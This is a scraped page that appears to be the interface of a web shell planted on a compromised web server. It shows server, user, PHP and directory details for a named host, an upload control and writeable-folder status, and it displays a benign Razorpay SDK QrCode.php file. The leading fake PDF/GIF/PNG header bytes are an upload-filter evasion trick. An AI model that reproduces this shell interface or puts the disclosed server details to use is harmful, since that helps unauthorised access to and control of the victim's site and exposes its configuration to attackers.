%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/www/admin1/vendor/razorpay/razorpay/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/www/admin1/vendor/razorpay/razorpay/src/QrCode.php
<?php

namespace Razorpay\Api;

class QrCode extends Entity
{
    /**
     * Create QR code
     * @param array $attributes
     * @return Entity|QrCode
     */
    public function create($attributes = array())
    {
        $relativeUrl = "payments/". $this->getEntityUrl() ;

        return $this->request('POST', $relativeUrl, $attributes);
    }

    /**
     * Fetch QR code details based QR id
     * @param $id
     * @return Entity|QrCode
     */
    public function fetch($id)
    {
        $relativeUrl = "payments/". $this->getEntityUrl(). $id ;

        return $this->request('GET', $relativeUrl);
    }

    /**
     * Close the QR code based on id
     * @return Entity|QrCode
     */
    public function close()
    {
        $relativeUrl = "payments/{$this->getEntityUrl()}{$this->id}/close" ;

        return $this->request('POST', $relativeUrl);
    }

    /**
     * Fetch all QR code details
     * @param array $options
     * @return Entity|QrCode
     */
    public function all($options = array())
    {
        $relativeUrl = "payments/". $this->getEntityUrl();

        return $this->request('GET', $relativeUrl, $options);
    }

    /**
     * Fetch payments made to a QR Code based on QR id
     * @param array $options
     * @return Entity|QrCode
     */
    public function fetchAllPayments($options = array())
    {
        $relativeUrl = "payments/{$this->getEntityUrl()}{$this->id}/payments" ;

        return $this->request('GET', $relativeUrl, $options);
    }

}

VaKeR 2022